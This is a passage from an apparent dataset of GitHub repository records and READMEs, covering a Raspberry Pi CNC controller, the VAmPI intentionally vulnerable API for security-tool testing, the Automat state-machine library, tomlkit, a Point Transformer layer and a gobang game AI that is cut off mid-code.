RAMPSv1.4 board pin name |  Note           |\n|-----------------|--------------|--------------------------|-----------------|\n| X step          | GPIO21       | A0                       |                 |\n| X dir           | GPIO20       | A1                       |                 |\n| steppers enable | GPIO26       | A2, A8, D24, D30, D38    | all steppers    |\n| Y step          | GPIO16       | A6                       |                 |\n| Y dir           | GPIO19       | A7                       |                 |\n| Z dir           | GPIO13       | D48                      |                 |\n| Z step          | GPIO12       | D46                      |                 |\n| E1 step         | GPIO6        | D36                      | reserve         |\n| E1 dir          | GPIO5        | D34                      | reserve         |\n| E0 dir          | GPIO7        | D28                      |                 |\n| E0 step         | GPIO8        | D26                      |                 |\n| Z max           | GPIO11       | D19                      |                 |\n| Z min           | GPIO25       | D18                      |                 |\n| Y max           | GPIO9        | D15                      |                 |\n| Y min           | GPIO10       | D14                      |                 |\n| X max           | GPIO24       | D2                       |                 |\n| X min           | GPIO23       | D3                       |                 |\n| heater bed      | GPIO22       | D8                       |                 |\n| heater 2        | GPIO27       | D9                       | uses for fan    |\n| heater 1        | GPIO18       | D10                      |                 |\n| ser 1           | GPIO17       | D11                      | reserve         |\n| ser 2           | GPIO15       | D6                       | reserve         |\n| ser 3           | GPIO4        | D5                       | reserve         |\n| ser 4           | GPIO14       | D4                       | reserve         |\n| I2C SCL         | GPIO3        | -                        | to ads111x      |\n| I2C SDA         | GPIO2        | -                        | to ads111x      |\n| ads1115 ch0     | -            | A15                      | heater 2 - nc   |\n| ads1115 ch1     | -            | A14                      | bed sensor      |\n| ads1115 ch2     | -            | A13                      | extruder sensor |\n| ads1115 ch3     | -            | -                        | not connected   |\n\nSo having Raspberry Pi connected this way, there is no need to configure\npin map for project. [RAMPS v1.4](http://reprap.org/wiki/RAMPS_1.4) board can\nbe used for this purpose. Full reference circuit diagram and photos of\nassembled controller(click to enlarge):  \n[![circuit small](https://user-images.githubusercontent.com/8740775/28233810-40773186-6902-11e7-8496-5750babfcf44.jpg)](https://user-images.githubusercontent.com/8740775/28233650-d64060e0-6900-11e7-8605-6475384fd2f7.png)\n[![sample front small](https://user-images.githubusercontent.com/8740775/28233812-407820c8-6902-11e7-8de1-35c03509c0e5.jpg)](https://user-images.githubusercontent.com/8740775/28233649-d6402800-6900-11e7-8dca-cd35c8292e0c.jpg)\n[![sample back small](https://user-images.githubusercontent.com/8740775/28233879-db96ea1c-6902-11e7-9298-11150476084b.jpg)](https://user-images.githubusercontent.com/8740775/28233648-d63fa0c4-6900-11e7-8fab-2055e035a6cb.jpg)\n[![sample mounted small](https://user-images.githubusercontent.com/8740775/28233811-40777e8e-6902-11e7-8899-5991860d182c.jpg)](https://user-images.githubusercontent.com/8740775/28233652-d65f82ea-6900-11e7-9e80-d8b0c9238f95.jpg)\n\n# Usage\nJust clone this repo and run `./pycnc` from repo root. It will start in\ninteractive terminal mode where gcode commands can be entered manually.  \nTo run file with gcode commands, just run `./pycnc filename`.  \nOptionally, `pycnc` can be installed. Run\n```bash\nsudo pip install .\n```\nin repo root directory to install it. After than, `pycnc` command will be added\nto system path. To remove installation, just run:\n```bash\nsudo pip remove pycnc\n```\n\n# Performance notice\nPure Python interpreter would not provide great performance for high speed\nmachines. Overspeeding setting causes motors mispulses and probably lose of\ntrajectory. According to my tests, Raspberry Pi 2 can handle axises with 400\n pulses on mm with top velocity ~800 mm per min. There is always way out! :)\nUse JIT Python implementation like PyPy. RPi2 can handle up to 18000 mm per\nminute on the machine with 80 steps per millimeter motors with PyPy.  \n_Note: Raspbian has outdated PyPy version in repositories(v4.0). Moreover v4.0\nhas issue with `mmap` module implementation. Use PyPy v5.0+, download it for\nyour OS from [here](https://pypy.org/download.html)._  \nPyPy installation:\n```bash\nwget wget https://bitbucket.org/pypy/pypy/downloads/pypy2-v5.7.1-linux-armhf-raspbian.tar.bz2\nsudo mkdir /opt/pypy\nsudo tar xvf pypy2-v5.7.1-linux-armhf-raspbian.tar.bz2 --directory /opt/pypy/ --strip-components=1\nsudo ln -s /opt/pypy/bin/pypy /usr/local/bin/pypy\n```\n\n# Project architecture\n![](https://user-images.githubusercontent.com/8740775/27770129-c8c3592c-5f41-11e7-8a9c-254d5a88ed77.png)\n\n# Dependencies\nNothing for runtime. Just pure Python code.\nFor uploading to PyPi there is a need in `pandoc`:\n```bash\nsudo dnf install pandoc\nsudo pip install pypandoc\n```\n\n# GCode simulation\nJust a link, mostly for myself :), to a nice web software for gcode files\nemulation (very helpful for manual creating of gcode files):\n[https://nraynaud.github.io/webgcode/](https://nraynaud.github.io/webgcode/)\n\n# License\nsee [LICENSE](./LICENSE) file.\n\n# Author\nNikolay Khabarov\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "erev0s/VAmPI", "link": "https://github.com/erev0s/VAmPI", "tags": ["api", "api-rest", "security-tools", "vulnerable-web-app"], "stars": 507, "description": "Vulnerable REST API with OWASP top 10 vulnerabilities for security testing", "lang": "Python", "repo_lang": "", "readme": "# VAmPI\n**The Vulnerable API** *(Based on OpenAPI 3)*\n![vampi](https://i.imgur.com/zR0quKf.jpg)\n\n\nVAmPI is a vulnerable API made with Flask and it includes vulnerabilities from the OWASP top 10 vulnerabilities for APIs. It was created as I wanted a vulnerable API to evaluate the efficiency of tools used to detect security issues in APIs. It includes a switch on/off to allow the API to be vulnerable or not while testing. This allows to cover better the cases for false positives/negatives. VAmPI can also be used for learning/teaching purposes. You can find a bit more details about the vulnerabilities in [erev0s.com](https://erev0s.com/blog/vampi-vulnerable-api-security-testing/).\n\n\n#### Features\n - Based on OWASP Top 10 vulnerabilities for APIs.\n - OpenAPI3 specs and Postman Collection included.\n - Global switch on/off to have a vulnerable environment or not.\n - Token-Based Authentication (Adjust lifetime from within app.py)\n\nVAmPI's flow of actions is going like this: an unregistered user can see minimal information about the dummy users included in the API. A user can register and then login to be allowed using the token received during login to post a book. For a book posted the data accepted are the title and a secret about that book. Each book is unique for every user and only the owner of the book should be allowed to view the secret.\n\nA quick rundown of the actions included can be seen in the following table:\n\n| **Action** |            **Path**           |                     **Details**                    |\n|:----------:|:-----------------------------:|:--------------------------------------------------:|\n|     GET    |           /createdb           | Creates and populates the database with dummy data |\n|     GET    |               /               |                     VAmPI home                     |\n|     GET    |           /users/v1           |      Displays all users with basic information     |\n|     GET    |        /users/v1/_debug       |         Displays all details for all users         |\n|    POST    |       /users/v1/register      |                  Register new user                 |\n|    POST    |        /users/v1/login        |                   Login to VAmPI                   |\n|     GET    |      /users/v1/{username}     |              Displays user by username             |\n|   DELETE   |      /users/v1/{username}     |       Deletes user by username (Only Admins)       |\n|     PUT    |   /users/v1/{username}/email  |             Update a single users email            |\n|     PUT    | /users/v1/{username}/password |                Update users password               |\n|     GET    |           /books/v1           |                 Retrieves all books                |\n|    POST    |           /books/v1           |                    Add new book                    |\n|     GET    |        /books/v1/{book}       |      Retrieves book by title along with secret     |\n\nFor more details you can use a service like the [swagger editor](https://editor.swagger.io) supplying it the OpenAPI specification which can be found in the directory `openapi_specs`.\n\n\n#### List of Vulnerabilities\n - SQLi Injection\n - Unauthorized Password Change\n - Broken Object Level Authorization\n - Mass Assignment\n - Excessive Data Exposure through debug endpoint\n - User and Password Enumeration\n - RegexDOS (Denial of Service)\n - Lack of Resources & Rate Limiting\n\n\n\n ## Run it\nIt is a Flask application so in order to run it you can install all requirements and then run the `app.py`.\nTo install all requirements simply run `pip3 install -r requirements.txt` and then `python3 app.py`.\n\nOr if you prefer you can also run it through docker or docker compose.\n\n #### Run it through Docker\n\n - Available in [Dockerhub](https://hub.docker.com/r/erev0s/vampi)\n\n**Build with**\n~~~~\ndocker build -t vampi_docker:latest .\n~~~~\n **and Run** *(remove the -d if you want to see the output in your terminal)*\n ~~~~\ndocker run -d -p 5000:5000 vampi_docker:latest\n ~~~~\n\n[Note: if you run Docker on newer versions of the MacOS, use `-p 5001:5000` to avoid conflicting with the AirPlay Receiver service. Alternatively, you could disable the AirPlay Receiver service in your System Preferences -> Sharing settings.]\n\n  #### Run it through Docker Compose\n`docker-compose` contains two instances, one instance with the secure configuration on port 5001 and another with insecure on port 5002:\n~~~~\ndocker-compose up -d\n~~~~\n\n## Customizing token timeout and vulnerable environment or not\nIf you would like to alter the timeout of the token created after login or if you want to change the environment **not** to be vulnerable then you can use a few ways depending how you run the application.\n\n - If you run it like normal with `python3 app.py` then all you have to do is edit the `alive` and `vuln` variables defined in the `app.py` itself. The `alive` variable is measured in seconds, so if you put `100`, then the token expires after 100 seconds. The `vuln` variable is like boolean, if you set it to `1` then the application is vulnerable, and if you set it to `0` the application is not vulnerable.\n - If you run it through Docker, then you must either pass environment variables to the `docker run` command or edit the `Dockerfile` and rebuild. \n   - Docker run example: `docker run -d -e vulnerable=0 -e tokentimetolive=300 -p 5000:5000 vampire_docker:latest`\n     - One nice feature to running it this way is you can startup a 2nd container with `vulnerable=1` on a different port and flip easily between the two.\n\n   - In the Dockerfile you will find two environment variables being set, the `ENV vulnerable=1` and the `ENV tokentimetolive=60`. Feel free to change it before running the docker build command.\n\n\n [Picture from freepik - www.freepik.com](https://www.freepik.com/vectors/party)\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "glyph/automat", "link": "https://github.com/glyph/automat", "tags": [], "stars": 505, "description": "Self-service finite-state machines for the programmer on the go.", "lang": "Python", "repo_lang": "", "readme": "# Automat #\n\n[![Documentation Status](https://readthedocs.org/projects/automat/badge/?version=latest)](http://automat.readthedocs.io/en/latest/)\n[![Build Status](https://travis-ci.org/glyph/automat.svg?branch=master)](https://travis-ci.org/glyph/automat)\n[![Coverage Status](https://coveralls.io/repos/glyph/automat/badge.png)](https://coveralls.io/r/glyph/automat)\n\n## Self-service finite-state machines for the programmer on the go. ##\n\nAutomat is a library for concise, idiomatic Python expression of finite-state\nautomata (particularly deterministic finite-state transducers).\n\nRead more here, or on [Read the Docs](https://automat.readthedocs.io/), or watch the following videos for an overview and presentation\n\nOverview and presentation by **Glyph Lefkowitz** at the first talk of the first Pyninsula meetup, on February 21st, 2017:  \n[![Glyph Lefkowitz - Automat - Pyninsula #0](https://img.youtube.com/vi/0wOZBpD1VVk/0.jpg)](https://www.youtube.com/watch?v=0wOZBpD1VVk)\n\nPresentation by **Clinton Roy** at PyCon Australia, on August 6th 2017:  \n[![Clinton Roy - State Machines - Pycon Australia 2017](https://img.youtube.com/vi/TedUKXhu9kE/0.jpg)](https://www.youtube.com/watch?v=TedUKXhu9kE)\n\n### Why use state machines? ###\n\nSometimes you have to create an object whose behavior varies with its state,\nbut still wishes to present a consistent interface to its callers.\n\nFor example, let's say you're writing the software for a coffee machine.  It\nhas a lid that can be opened or closed, a chamber for water, a chamber for\ncoffee beans, and a button for \"brew\".\n\nThere are a number of possible states for the coffee machine.  It might or\nmight not have water.  It might or might not have beans.  The lid might be open\nor closed.  The \"brew\" button should only actually attempt to brew coffee in\none of these configurations, and the \"open lid\" button should only work if the\ncoffee is not, in fact, brewing.\n\nWith diligence and attention to detail, you can implement this correctly using\na collection of attributes on an object; `has_water`, `has_beans`,\n`is_lid_open` and so on.  However, you have to keep all these attributes\nconsistent.  As the coffee maker becomes more complex - perhaps you add an\nadditional chamber for flavorings so you can make hazelnut coffee, for\nexample - you have to keep adding more and more checks and more and more\nreasoning about which combinations of states are allowed.\n\nRather than adding tedious 'if' checks to every single method to make sure that\neach of these flags are exactly what you expect, you can use a state machine to\nensure that if your code runs at all, it will be run with all the required\nvalues initialized, because they have to be called in the order you declare\nthem.\n\nYou can read about state machines and their advantages for Python programmers\nin more detail [in this excellent article by Jean-Paul\nCalderone](https://web.archive.org/web/20160507053658/https://clusterhq.com/2013/12/05/what-is-a-state-machine/).\n\n### What makes Automat different? ###\n\nThere are\n[dozens of libraries on PyPI implementing state machines](https://pypi.org/search/?q=finite+state+machine).\nSo it behooves me to say why yet another one would be a good idea.\n\nAutomat is designed around this principle: while organizing your code around\nstate machines is a good idea, your callers don't, and shouldn't have to, care\nthat you've done so.  In Python, the \"input\" to a stateful system is a method\ncall; the \"output\" may be a method call, if you need to invoke a side effect,\nor a return value, if you are just performing a computation in memory.  Most\nother state-machine libraries require you to explicitly create an input object,\nprovide that object to a generic \"input\" method, and then receive results,\nsometimes in terms of that library's interfaces and sometimes in terms of\nclasses you define yourself.\n\nFor example, a snippet of the coffee-machine example above might be implemented\nas follows in naive Python:\n\n```python\nclass CoffeeMachine(object):\n    def brew_button(self):\n        if self.has_water and self.has_beans and not self.is_lid_open:\n            self.heat_the_heating_element()\n            # ...\n```\n\nWith Automat, you'd create a class with a `MethodicalMachine` attribute:\n\n```python\nfrom automat import MethodicalMachine\n\nclass CoffeeBrewer(object):\n    _machine = MethodicalMachine()\n```\n\nand then you would break the above logic into two pieces - the `brew_button`\n*input*, declared like so:\n\n```python\n    @_machine.input()\n    def brew_button(self):\n        \"The user pressed the 'brew' button.\"\n```\n\nIt wouldn't do any good to declare a method *body* on this, however, because\ninput methods don't actually execute their bodies when called; doing actual\nwork is the *output*'s job:\n\n```python\n    @_machine.output()\n    def _heat_the_heating_element(self):\n        \"Heat up the heating element, which should cause coffee to happen.\"\n        self._heating_element.turn_on()\n```\n\nAs well as a couple of *states* - and for simplicity's sake let's say that the\nonly two states are `have_beans` and `dont_have_beans`:\n\n```python\n    @_machine.state()\n    def have_beans(self):\n        \"In this state, you have some beans.\"\n    @_machine.state(initial=True)\n    def dont_have_beans(self):\n        \"In this state, you don't have any beans.\"\n```\n\n`dont_have_beans` is the `initial` state because `CoffeeBrewer` starts without beans\nin it.\n\n(And another input to put some beans in:)\n\n```python\n    @_machine.input()\n    def put_in_beans(self):\n        \"The user put in some beans.\"\n```\n\nFinally, you hook everything together with the `upon` method of the functions\ndecorated with `_machine.state`:\n\n```python\n\n    # When we don't have beans, upon putting in beans, we will then have beans\n    # (and produce no output)\n    dont_have_beans.upon(put_in_beans, enter=have_beans, outputs=[])\n\n    # When we have beans, upon pressing the brew button, we will then not have\n    # beans any more (as they have been entered into the brewing chamber) and\n    # our output will be heating the heating element.\n    have_beans.upon(brew_button, enter=dont_have_beans,\n                    outputs=[_heat_the_heating_element])\n```\n\nTo *users* of this coffee machine class though, it still looks like a POPO\n(Plain Old Python Object):\n\n```python\n>>> coffee_machine = CoffeeMachine()\n>>> coffee_machine.put_in_beans()\n>>> coffee_machine.brew_button()\n```\n\nAll of the *inputs* are provided by calling them like methods, all of the\n*outputs* are automatically invoked when they are produced according to the\noutputs specified to `upon` and all of the states are simply opaque tokens -\nalthough the fact that they're defined as methods like inputs and outputs\nallows you to put docstrings on them easily to document them.\n\n## How do I get the current state of a state machine?\n\nDon't do that.\n\nOne major reason for having a state machine is that you want the callers of the\nstate machine to just provide the appropriate input to the machine at the\nappropriate time, and *not have to check themselves* what state the machine is\nin.  So if you are tempted to write some code like this:\n\n```python\nif connection_state_machine.state == \"CONNECTED\":\n    connection_state_machine.send_message()\nelse:\n    print(\"not connected\")\n```\n\nInstead, just make your calling code do this:\n\n```python\nconnection_state_machine.send_message()\n```\n\nand then change your state machine to look like this:\n\n```python\n    @_machine.state()\n    def connected(self):\n        \"connected\"\n    @_machine.state()\n    def not_connected(self):\n        \"not connected\"\n    @_machine.input()\n    def send_message(self):\n        \"send a message\"\n    @_machine.output()\n    def _actually_send_message(self):\n        self._transport.send(b\"message\")\n    @_machine.output()\n    def _report_sending_failure(self):\n        print(\"not connected\")\n    connected.upon(send_message, enter=connected, [_actually_send_message])\n    not_connected.upon(send_message, enter=not_connected, [_report_sending_failure])\n```\n\nso that the responsibility for knowing which state the state machine is in\nremains within the state machine itself.\n\n## Input for Inputs and Output for Outputs\n\nQuite often you want to be able to pass parameters to your methods, as well as\ninspecting their results.  For example, when you brew the coffee, you might\nexpect a cup of coffee to result, and you would like to see what kind of coffee\nit is.  And if you were to put delicious hand-roasted small-batch artisanal\nbeans into the machine, you would expect a *better* cup of coffee than if you\nwere to use mass-produced beans.  You would do this in plain old Python by\nadding a parameter, so that's how you do it in Automat as well.\n\n```python\n    @_machine.input()\n    def put_in_beans(self, beans):\n        \"The user put in some beans.\"\n```\n\nHowever, one important difference here is that *we can't add any\nimplementation code to the input method*.  Inputs are purely a declaration of\nthe interface; the behavior must all come from outputs.  Therefore, the change\nin the state of the coffee machine must be represented as an output.  We can\nadd an output method like this:\n\n```python\n    @_machine.output()\n    def _save_beans(self, beans):\n        \"The beans are now in the machine; save them.\"\n        self._beans = beans\n```\n\nand then connect it to the `put_in_beans` by changing the transition from\n`dont_have_beans` to `have_beans` like so:\n\n```python\n    dont_have_beans.upon(put_in_beans, enter=have_beans,\n                         outputs=[_save_beans])\n```\n\nNow, when you call:\n\n```python\ncoffee_machine.put_in_beans(\"real good beans\")\n```\n\nthe machine will remember the beans for later.\n\nSo how do we get the beans back out again?  One of our outputs needs to have a\nreturn value.  It would make sense if our `brew_button` method returned the cup\nof coffee that it made, so we should add an output.  So, in addition to heating\nthe heating element, let's add a return value that describes the coffee.  First\na new output:\n\n```python\n    @_machine.output()\n    def _describe_coffee(self):\n        return \"A cup of coffee made with {}.\".format(self._beans)\n```\n\nNote that we don't need to check first whether `self._beans` exists or not,\nbecause we can only reach this output method if the state machine says we've\ngone through a set of states that sets this attribute.\n\nNow, we need to hook up `_describe_coffee` to the process of brewing, so change\nthe brewing transition to:\n\n```python\n    have_beans.upon(brew_button, enter=dont_have_beans,\n                    outputs=[_heat_the_heating_element,\n                             _describe_coffee])\n```\n\nNow, we can call it:\n\n```python\n>>> coffee_machine.brew_button()\n[None, 'A cup of coffee made with real good beans.']\n```\n\nExcept... wait a second, what's that `None` doing there?\n\nSince every input can produce multiple outputs, in automat, the default return\nvalue from every input invocation is a `list`.  In this case, we have both\n`_heat_the_heating_element` and `_describe_coffee` outputs, so we're seeing\nboth of their return values.  However, this can be customized, with the\n`collector` argument to `upon`; the `collector` is a callable which takes an\niterable of all the outputs' return values and \"collects\" a single return value\nto return to the caller of the state machine.\n\nIn this case, we only care about the last output, so we can adjust the call to\n`upon` like this:\n\n```python\n    have_beans.upon(brew_button, enter=dont_have_beans,\n                    outputs=[_heat_the_heating_element,\n                             _describe_coffee],\n                    collector=lambda iterable: list(iterable)[-1]\n    )\n```\n\nAnd now, we'll get just the return value we want:\n\n```python\n>>> coffee_machine.brew_button()\n'A cup of coffee made with real good beans.'\n```\n\n## If I can't get the state of the state machine, how can I save it to (a database, an API response, a file on disk...)\n\nThere are APIs for serializing the state machine.\n\nFirst, you have to decide on a persistent representation of each state, via the\n`serialized=` argument to the `MethodicalMachine.state()` decorator.\n\nLet's take this very simple \"light switch\" state machine, which can be on or\noff, and flipped to reverse its state:\n\n```python\nclass LightSwitch(object):\n    _machine = MethodicalMachine()\n    @_machine.state(serialized=\"on\")\n    def on_state(self):\n        \"the switch is on\"\n    @_machine.state(serialized=\"off\", initial=True)\n    def off_state(self):\n        \"the switch is off\"\n    @_machine.input()\n    def flip(self):\n        \"flip the switch\"\n    on_state.upon(flip, enter=off_state, outputs=[])\n    off_state.upon(flip, enter=on_state, outputs=[])\n```\n\nIn this case, we've chosen a serialized representation for each state via the\n`serialized` argument.  The on state is represented by the string `\"on\"`, and\nthe off state is represented by the string `\"off\"`.\n\nNow, let's just add an input that lets us tell if the switch is on or not.\n\n```python\n    @_machine.input()\n    def query_power(self):\n        \"return True if powered, False otherwise\"\n    @_machine.output()\n    def _is_powered(self):\n        return True\n    @_machine.output()\n    def _not_powered(self):\n        return False\n    on_state.upon(query_power, enter=on_state, outputs=[_is_powered],\n                  collector=next)\n    off_state.upon(query_power, enter=off_state, outputs=[_not_powered],\n                   collector=next)\n```\n\nTo save the state, we have the `MethodicalMachine.serializer()` method.  A\nmethod decorated with `@serializer()` gets an extra argument injected at the\nbeginning of its argument list: the serialized identifier for the state.  In\nthis case, either `\"on\"` or `\"off\"`.  Since state machine output methods can\nalso affect other state on the object, a serializer method is expected to\nreturn *all* relevant state for serialization.\n\nFor our simple light switch, such a method might look like this:\n\n```python\n    @_machine.serializer()\n    def save(self, state):\n        return {\"is-it-on\": state}\n```\n\nSerializers can be public methods, and they can return whatever you like.  If\nnecessary, you can have different serializers - just multiple methods decorated\nwith `@_machine.serializer()` - for different formats; return one data-structure\nfor JSON, one for XML, one for a database row, and so on.\n\nWhen it comes time to unserialize, though, you generally want a private method,\nbecause an unserializer has to take a not-fully-initialized instance and\npopulate it with state.  It is expected to *return* the serialized machine\nstate token that was passed to the serializer, but it can take whatever\narguments you like.  Of course, in order to return that, it probably has to\ntake it somewhere in its arguments, so it will generally take whatever a paired\nserializer has returned as an argument.\n\nSo our unserializer would look like this:\n\n```python\n    @_machine.unserializer()\n    def _restore(self, blob):\n        return blob[\"is-it-on\"]\n```\n\nGenerally you will want a classmethod deserialization constructor which you\nwrite yourself to call this, so that you know how to create an instance of your\nown object, like so:\n\n```python\n    @classmethod\n    def from_blob(cls, blob):\n        self = cls()\n        self._restore(blob)\n        return self\n```\n\nSaving and loading our `LightSwitch` along with its state-machine state can now\nbe accomplished as follows:\n\n```python\n>>> switch1 = LightSwitch()\n>>> switch1.query_power()\nFalse\n>>> switch1.flip()\n[]\n>>> switch1.query_power()\nTrue\n>>> blob = switch1.save()\n>>> switch2 = LightSwitch.from_blob(blob)\n>>> switch2.query_power()\nTrue\n```\n\nMore comprehensive (tested, working) examples are present in `docs/examples`.\n\nGo forth and machine all the state!\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "sdispater/tomlkit", "link": "https://github.com/sdispater/tomlkit", "tags": [], "stars": 505, "description": "Style-preserving TOML library for Python", "lang": "Python", "repo_lang": "", "readme": "[github_release]: https://img.shields.io/github/release/sdispater/tomlkit.svg?logo=github&logoColor=white\n[pypi_version]: https://img.shields.io/pypi/v/tomlkit.svg?logo=python&logoColor=white\n[python_versions]: https://img.shields.io/pypi/pyversions/tomlkit.svg?logo=python&logoColor=white\n[github_license]: https://img.shields.io/github/license/sdispater/tomlkit.svg?logo=github&logoColor=white\n[github_action]: https://github.com/sdispater/tomlkit/actions/workflows/tests.yml/badge.svg\n\n[![GitHub Release][github_release]](https://github.com/sdispater/tomlkit/releases/)\n[![PyPI Version][pypi_version]](https://pypi.org/project/tomlkit/)\n[![Python Versions][python_versions]](https://pypi.org/project/tomlkit/)\n[![License][github_license]](https://github.com/sdispater/tomlkit/blob/master/LICENSE)\n<br>\n[![Tests][github_action]](https://github.com/sdispater/tomlkit/actions/workflows/tests.yml)\n\n# TOML Kit - Style-preserving TOML library for Python\n\nTOML Kit is a **1.0.0-compliant** [TOML](https://toml.io/) library.\n\nIt includes a parser that preserves all comments, indentations, whitespace and internal element ordering,\nand makes them accessible and editable via an intuitive API.\n\nYou can also create new TOML documents from scratch using the provided helpers.\n\nPart of the implementation has been adapted, improved and fixed from [Molten](https://github.com/LeopoldArkham/Molten).\n\n## Usage\n\nSee the [documentation](https://github.com/sdispater/tomlkit/blob/master/docs/quickstart.rst) for more information.\n\n## Installation\n\nIf you are using [Poetry](https://poetry.eustace.io),\nadd `tomlkit` to your `pyproject.toml` file by using:\n\n```bash\npoetry add tomlkit\n```\n\nIf not, you can use `pip`:\n\n```bash\npip install tomlkit\n```\n\n## Running tests\n\nPlease clone the repo with submodules with the following command\n`git clone --recurse-submodules https://github.com/sdispater/tomlkit.git`.\nWe need the submodule - `toml-test` for running the tests.\n\nYou can run the tests with `poetry run pytest -q tests`\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "lucidrains/point-transformer-pytorch", "link": "https://github.com/lucidrains/point-transformer-pytorch", "tags": ["artificial-intelligence", "deep-learning", "attention-mechanism", "point-cloud"], "stars": 505, "description": "Implementation of the Point Transformer layer, in Pytorch", "lang": "Python", "repo_lang": "", "readme": "<img src=\"./point-transformer-layer.png\" width=\"300px\"></img>\n\n## Point Transformer - Pytorch\n\nImplementation of the <a href=\"https://arxiv.org/abs/2012.09164\">Point Transformer</a> self-attention layer, in Pytorch. The simple circuit above seemed to have allowed their group to outperform all previous methods in point cloud classification and segmentation.\n\n## Install\n\n```bash\n$ pip install point-transformer-pytorch\n```\n\n## Usage\n\n```python\nimport torch\nfrom point_transformer_pytorch import PointTransformerLayer\n\nattn = PointTransformerLayer(\n    dim = 128,\n    pos_mlp_hidden_dim = 64,\n    attn_mlp_hidden_mult = 4\n)\n\nfeats = torch.randn(1, 16, 128)\npos = torch.randn(1, 16, 3)\nmask = torch.ones(1, 16).bool()\n\nattn(feats, pos, mask = mask) # (1, 16, 128)\n```\n\nThis type of vector attention is much more expensive than the traditional one. In the paper, they used k-nearest neighbors on the points to exclude attention on faraway points. You can do the same with a single extra setting.\n\n```python\nimport torch\nfrom point_transformer_pytorch import PointTransformerLayer\n\nattn = PointTransformerLayer(\n    dim = 128,\n    pos_mlp_hidden_dim = 64,\n    attn_mlp_hidden_mult = 4,\n    num_neighbors = 16          # only the 16 nearest neighbors would be attended to for each point\n)\n\nfeats = torch.randn(1, 2048, 128)\npos = torch.randn(1, 2048, 3)\nmask = torch.ones(1, 2048).bool()\n\nattn(feats, pos, mask = mask) # (1, 16, 128)\n```\n\n## Citations\n\n```bibtex\n@misc{zhao2020point,\n    title={Point Transformer}, \n    author={Hengshuang Zhao and Li Jiang and Jiaya Jia and Philip Torr and Vladlen Koltun},\n    year={2020},\n    eprint={2012.09164},\n    archivePrefix={arXiv},\n    primaryClass={cs.CV}\n}\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "colingogogo/gobang_AI", "link": "https://github.com/colingogogo/gobang_AI", "tags": [], "stars": 505, "description": "\u57fa\u4e8e\u535a\u5f08\u6811\u03b1-\u03b2\u526a\u679d\u641c\u7d22\u7684\u4e94\u5b50\u68cbAI", "lang": "Python", "repo_lang": "", "readme": "Recently, machine learning is very popular. Taking advantage of this fire, I also learned a little bit, but I did not learn deep learning directly. Instead, I followed an old man who must understand and master all the methods of artificial intelligence in order to truly learn. Master artificial intelligence. . . All I can say is, the road is long. .\n\nFor game artificial intelligence, one of the methods is: **game tree maximum and minimum value alpha-beta pruning search. **\n\nDo you think this name is awesome, but after my detailed interpretation, you will immediately find that it is nothing more than that.\n\nHow to implement an AI that can play backgammon intelligently? The natural way to think of it is to let the computer try all the possibilities of each step and see which one works best. In fact, it is a search method, searching for all next-step possibilities, and choosing the best. This is game tree search.\n\n## Game tree search\n\nWhat is a game tree search engine? Game means to take the best strategy to fight with each other. For example, when playing backgammon, you make the next move and I make the next move. This is a mutual game. Suppose the size of the chessboard is 10*10, that is, 100 points can be placed, then the first step may be 100, assuming that it is placed at point A, then the second step will have 99 remaining points except point A point possible. Suppose you are at point B, then the second step has the possibility of remaining 99 points except point B, assuming you are at point C...\n\nDo you see that, my assumption above can be copied 100 times, and based on one of the points, the second step can be copied 99 times, and so on, forming a tree structure:\n\n\n![Paste_Image.png](http://upload-images.jianshu.io/upload_images/6893492-41d07028d54b486a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\nWell, here comes the question, with so many possibilities, which step is the best one to take? This is the next step, the maxima and minima search.\n\n## Maximum and minimum search\n\nFor a chess game, can I judge whether it is an advantage or a disadvantage for me, can I use a relatively certain value to evaluate it? The answer is yes. For backgammon, it is to count the current chess types and accumulate scores. For example, if there are 4 pieces in a row, give a high score, because you can win in the next step; if 3 pieces are connected, give a relatively low score, because you may not be able to win, the opponent It will block you, but the score is higher than that of only 2 pieces connected together. If so, there will be the following chess scoring table:\n```\n# evaluation score of chess shape\nshape_score = [(50, (0, 1, 1, 0, 0)),\n               (50, (0, 0, 1, 1, 0)),\n               (200, (1, 1, 0, 1, 0)),\n               (500, (0, 0, 1, 1, 1)),\n               (500, (1, 1, 1, 0, 0)),\n               (5000, (0, 1, 1, 1, 0)),\n               (5000, (0, 1, 0, 1, 1, 0)),\n               (5000, (0, 1, 1, 0, 1, 0)),\n               (5000, (1, 1, 1, 0, 1)),\n               (5000, (1, 1, 0, 1, 1)),\n               (5000, (1, 0, 1, 1, 1)),\n               (5000, (1, 1, 1, 1, 0)),\n               (5000, (0, 1, 1, 1, 1)),\n               (50000, (0, 1, 1, 1, 1, 0)),\n               (99999999, (1, 1, 1, 1, 1))]\n```\nThe example in this article is implemented with python code. The above are some common backgammon shapes I listed. 1 means there is a piece falling here, 0 means it is empty, and the next step can be placed here. The front is the corresponding score.\n\nThen the score corresponding to the evaluation situation is to count and accumulate the scores of all matching chess patterns. The statistics of this score is called the evaluation function, and the quality of this evaluation function is very important. The following algorithms are fixed, and any game is suitable, but the evaluation function is very different.\n```\n# evaluation function\ndef evaluation(is_ai):\n    total_score = 0\n\n    if is_ai:\n        my_list = list1\n        enemy_list = list2\n    else:\n        my_list = list2\n        enemy_list = list1\n\n    # Calculate your own score\n    score_all_arr = [] # The position of the score shape is used to calculate if there is an intersection, the score is doubled\n    my_score = 0\n    for pt in my_list:\n        m = pt[0]n = pt[1]\n        my_score += cal_score(m, n, 0, 1, enemy_list, my_list, score_all_arr)\n        my_score += cal_score(m, n, 1, 0, enemy_list, my_list, score_all_arr)\n        my_score += cal_score(m, n, 1, 1, enemy_list, my_list, score_all_arr)\n        my_score += cal_score(m, n, -1, 1, enemy_list, my_list, score_all_arr)\n\n    # Calculate the enemy's score and subtract\n    score_all_arr_enemy = []\n    enemy_score = 0\n    for pt in enemy_list:\n        m = pt[0]\n        n = pt[1]\n        enemy_score += cal_score(m, n, 0, 1, my_list, enemy_list, score_all_arr_enemy)\n        enemy_score += cal_score(m, n, 1, 0, my_list, 